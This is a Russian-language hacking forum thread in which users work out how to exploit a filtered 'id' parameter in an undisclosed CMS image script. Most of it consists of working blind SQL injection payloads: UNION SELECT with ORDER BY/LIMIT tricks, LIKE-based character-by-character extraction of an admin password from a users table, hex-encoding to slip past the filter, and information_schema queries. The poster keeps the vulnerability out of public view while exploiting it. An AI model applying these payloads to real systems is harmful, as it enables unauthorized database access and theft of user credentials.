Доброго времени суток! Помогите плз, добрые люди... Имеется линк типа image_file.php?id=1 Выводит 1.gif при image_file.php?id=2 Выводит 2.gif при image_file.php?id=2-1 Выводит 1.gif Предположим, что тут либо BIND SQL, либо LFI Вопрос: как развить вектор атаки если имеется фильтрация такого типа: PHP: return preg_replace( "/[\$%=<>\(\)\[\]\|\{\}]/i", "", trim( $string, "\x00" ) ) ; Благодарности!
Скорее всего здесь SQL-inj, но из-за фильтрации скобок возможно будут проблемы, однако экспулотировать это будет достаточно просто при условии, что запрос достаточно стандартен, если определить параметр, подлежащие выводу. C Blind-SQL дело обстоит горазо сложнее, т.к. нужно почти всегда использовать скобки(Есть исключения). Что будет выдаваться при подставлении строковых величин, значение которых в базе нет, например sdasd4242? Если вам известна регулярка, возможно вам известен сам запрос? Иначе откуда вы привели код(квест, просто пример)? В места знака равентства можно использовать опреатор like или regexp. Что у вас получаеться, если вы её пытаетесь экспулотировать как обычную инъекцию? Если идет запрос такого типа: ... WHERE a=(2-1) ... То можно попробывать экспулотировать полу-слепой блайнд: ... WHERE a=(SELECT 1 FROM `users` WHERE `pass` LIKE `1%` )... Проверить на SQLi в MySQL можно этим способом: https://forum.antichat.net/showpost.php?p=3333271&postcount=21566
To XAMEHA Огромное спасибо, кое что прояснилось... 2.gif (возможно это по-умолчанию или выводится когда есть ошибка или 1=0) Попробовал, вот что получилось image_file.php?id=(2-1)+and+1+like+1 Выдает 1.gif image_file.php?id=(2-1)+and+1+like+0 выдает 2.gif (возможно это по-умолчанию или выводится когда есть ошибка или 1=0) Исследуем далее.... Сработала и такая конструкция image_file.php?id=1+and+1+like+/*!50000 1*/ показывает 1.gif image_file.php?id=1+and+1+like+/*!60000 1*/ и image_file.php?id=1+and+1+like+/*!50000 0*/ показывает 2.gif
У вас работает Order By и Union? Вы пообрали кол-во полей? Если провести Union получтся, то следует попробывать установить зависимость полей базы и имени, формата, данных вывоимого файла, т.е. картинки, а ужу от этого пробывать составлять запрос для блайнд-инъекции. Если Order By и Union не работает, попробуйте подставить SELECT 1. Скрипт самописный, или возможно установить CMS? Если это удасться, то можно сразу попробывать сделать эксплоит под этот модуль.
Сработал ордер id=1+order+by+1 сработал union id=1+Union+select+1 Это CMS, но не хотелось бы в паблик выкидывать уязвимость. я нашел запрос который делается в базу выглядит примерно так PHP: "SELECT count(*) AS total FROM dpt_os WHERE status = 1 AND ID = $ID" И прежде чем попасть в запрос ID фильтруется Возвращает функция с этим запросом либо FALSE либо значение $total И далее код PHP: if ( $total ) $prefix = "1" ; else $prefix = "2" ; $image = "$prefix".".GIF" readfile( $image ) ;
Получилось раскрутить. Часть 1: Мы используем запрос такого синтаксиса: PHP: SELECT count(*) AS total FROM dpt_os WHERE status = 1 AND ID = -165 UNION SELECT 222 as total FROM `test` ORDER BY total DESC LIMIT 1 И из-за Order-by значение 222 становится первым, а второе обрезается лимитом. -165 - Заведомо несуществующее значение. Часть 2: Мы начинаем крутить инъекцию: PHP: SELECT count(*) AS total FROM dpt_os WHERE status = 1 AND ID = -165 UNION SELECT 1 as total FROM `users` WHERE `login` like 'admin' and `pass` like '1%' ORDER BY total DESC LIMIT 1 И таким образом, если первый символ пароля 1, запрос возвратит 1, иначе ничего и мы спокойно крутим инъекцию. Желательно использовать POST/Куки, заместо ORDER BY можно использовать LIMIT 1, 2. Запятые в запросе тоже не используются. Из-за фильтрации процента, мы переводим '1%' в 0x3125 используя HEX. Онлайн-конвертер: http://home.paulschou.net/tools/xlate/ UDP: Так-же мы можем подбирать длину - LIKE '_%'. Кол-во записей в таблице можно получить используя: PHP: SELECT TABLE_ROWS FROM `information_schema`.`TABLES` WHERE TABLE_NAME LIKE 'admin' Если доступа к information_schema нет, мы можем использовать LIMIT. REGEXP Тоже может помочь.